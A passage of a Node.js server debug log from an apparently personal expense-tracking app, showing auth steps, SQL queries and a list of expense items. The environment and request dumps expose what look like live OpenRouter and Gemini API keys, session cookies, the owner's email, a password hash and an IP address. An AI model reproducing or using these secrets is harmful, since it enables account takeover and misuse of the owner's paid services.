  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T12:03:16.462Z server-connect:output restrict: undefined
2026-02-24T12:03:16.462Z server-connect:router Render template layouts/main
2026-02-24T12:03:16.462Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AQp5KNPJ9ilhCNlyNQ8SsPA%3D%3D.olytSQ2beOf%2FjenuAoSW7B0aHRhaFqhXjgvqjYL2KwG4hIJPDLEklTcplAEwehJcYML%2BjK96YMKJoTaYsNWzQ6TsajQ3c9i4TTe%2BX8R%2Fx9tX7Btk4VjcxZSlg2558%2BW7bXqd7q9VwyaJmiwrz86BX%2FEZ%2F1sXsP43r4V%2BWNC61eM%3D.wt9ZFsw0ptp5To4nplNeu93pMp0WLnQwn%2BRSUZYTaAc',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T12:03:16.363Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AQp5KNPJ9ilhCNlyNQ8SsPA%3D%3D.olytSQ2beOf%2FjenuAoSW7B0aHRhaFqhXjgvqjYL2KwG4hIJPDLEklTcplAEwehJcYML%2BjK96YMKJoTaYsNWzQ6TsajQ3c9i4TTe%2BX8R%2Fx9tX7Btk4VjcxZSlg2558%2BW7bXqd7q9VwyaJmiwrz86BX%2FEZ%2F1sXsP43r4V%2BWNC61eM%3D.wt9ZFsw0ptp5To4nplNeu93pMp0WLnQwn%2BRSUZYTaAc',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-24T12:03:16.730Z server-connect:router Serving templateView /
2026-02-24T12:03:16.730Z server-connect:app Executing action step identify
2026-02-24T12:03:16.730Z server-connect:app options: { provider: 'security' }
2026-02-24T12:03:16.774Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2026-02-24T12:03:16.775Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2026-02-24T12:03:16.818Z server-connect:output identity: 1
2026-02-24T12:03:16.818Z server-connect:app Executing action step restrict
2026-02-24T12:03:16.818Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T12:03:16.819Z server-connect:output restrict: undefined
2026-02-24T12:03:16.819Z server-connect:app Executing action step restrict
2026-02-24T12:03:16.819Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T12:03:16.819Z server-connect:output restrict: undefined
2026-02-24T12:03:16.819Z server-connect:router Render template layouts/main
2026-02-24T12:03:16.819Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"ffc5-KlItgyr7WL1EV7WULpLOd3prSSQ"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AQp5KNPJ9ilhCNlyNQ8SsPA%3D%3D.olytSQ2beOf%2FjenuAoSW7B0aHRhaFqhXjgvqjYL2KwG4hIJPDLEklTcplAEwehJcYML%2BjK96YMKJoTaYsNWzQ6TsajQ3c9i4TTe%2BX8R%2Fx9tX7Btk4VjcxZSlg2558%2BW7bXqd7q9VwyaJmiwrz86BX%2FEZ%2F1sXsP43r4V%2BWNC61eM%3D.wt9ZFsw0ptp5To4nplNeu93pMp0WLnQwn%2BRSUZYTaAc',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T12:03:16.730Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"ffc5-KlItgyr7WL1EV7WULpLOd3prSSQ"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AQp5KNPJ9ilhCNlyNQ8SsPA%3D%3D.olytSQ2beOf%2FjenuAoSW7B0aHRhaFqhXjgvqjYL2KwG4hIJPDLEklTcplAEwehJcYML%2BjK96YMKJoTaYsNWzQ6TsajQ3c9i4TTe%2BX8R%2Fx9tX7Btk4VjcxZSlg2558%2BW7bXqd7q9VwyaJmiwrz86BX%2FEZ%2F1sXsP43r4V%2BWNC61eM%3D.wt9ZFsw0ptp5To4nplNeu93pMp0WLnQwn%2BRSUZYTaAc',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-24T12:03:17.788Z server-connect:router Serving templateView /
2026-02-24T12:03:17.788Z server-connect:app Executing action step identify
2026-02-24T12:03:17.788Z server-connect:app options: { provider: 'security' }
2026-02-24T12:03:17.788Z server-connect:output identity: 1
2026-02-24T12:03:17.788Z server-connect:app Executing action step restrict
2026-02-24T12:03:17.788Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T12:03:17.789Z server-connect:output restrict: undefined
2026-02-24T12:03:17.789Z server-connect:app Executing action step restrict
2026-02-24T12:03:17.789Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T12:03:17.789Z server-connect:output restrict: undefined
2026-02-24T12:03:17.789Z server-connect:router Render template layouts/main
2026-02-24T12:03:17.789Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    accept: '*/*',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'empty',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"ffc5-KlItgyr7WL1EV7WULpLOd3prSSQ"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3Armw23%2FMhfPe5%2Bf6HTth6Kw%3D%3D.IaaUcm2k5YyNSFFvG2c6fp6wgW02g3%2BEhSF99e%2BJo00Mabol8HVUevzJVX7nIiORyoiLkwYdqsbNFmv5hR8NZrathOVdhYE2WV8%2FE5JJ6w1TzQ8EK2J4dx%2FvKt3A1k%2BbN6NTLyGYSfIfjyJciUGTk0TQdtUmjNDBW7BNFftWE78%3D.sVWGXygj8OaXN1KRJgKVZcRx2nRUzP%2BLt%2F%2FBtLFbjKg; your_r_git.sid=s%3APAavm94QsX6dN6xYp_a046VX5r9yJaTw.MHwEful194q5ND6BnyFurAwgVzxrOOyN4Jl4HN%2B4Ni4',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T12:03:16.822Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: '*/*',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"ffc5-KlItgyr7WL1EV7WULpLOd3prSSQ"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3Armw23%2FMhfPe5%2Bf6HTth6Kw%3D%3D.IaaUcm2k5YyNSFFvG2c6fp6wgW02g3%2BEhSF99e%2BJo00Mabol8HVUevzJVX7nIiORyoiLkwYdqsbNFmv5hR8NZrathOVdhYE2WV8%2FE5JJ6w1TzQ8EK2J4dx%2FvKt3A1k%2BbN6NTLyGYSfIfjyJciUGTk0TQdtUmjNDBW7BNFftWE78%3D.sVWGXygj8OaXN1KRJgKVZcRx2nRUzP%2BLt%2F%2FBtLFbjKg; your_r_git.sid=s%3APAavm94QsX6dN6xYp_a046VX5r9yJaTw.MHwEful194q5ND6BnyFurAwgVzxrOOyN4Jl4HN%2B4Ni4',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-24T12:03:20.015Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-24T12:03:20.016Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-24T12:03:20.016Z server-connect:app Executing action step identify
2026-02-24T12:03:20.016Z server-connect:app options: { provider: 'security' }
2026-02-24T12:03:20.016Z server-connect:output identity: 1
2026-02-24T12:03:20.016Z server-connect:app Executing action step restrict
2026-02-24T12:03:20.016Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:03:20.016Z server-connect:app Executing action step identify
2026-02-24T12:03:20.016Z server-connect:app options: { provider: 'security' }
2026-02-24T12:03:20.016Z server-connect:output identity: 1
2026-02-24T12:03:20.017Z server-connect:app Executing action step restrict
2026-02-24T12:03:20.017Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:03:20.017Z server-connect:output restrict: undefined
2026-02-24T12:03:20.017Z server-connect:app Executing action step single
2026-02-24T12:03:20.017Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-24T12:03:20.018Z server-connect:output restrict: undefined
2026-02-24T12:03:20.018Z server-connect:app Executing action step select
2026-02-24T12:03:20.018Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-24T12:03:20.018Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-24T12:03:20.023Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
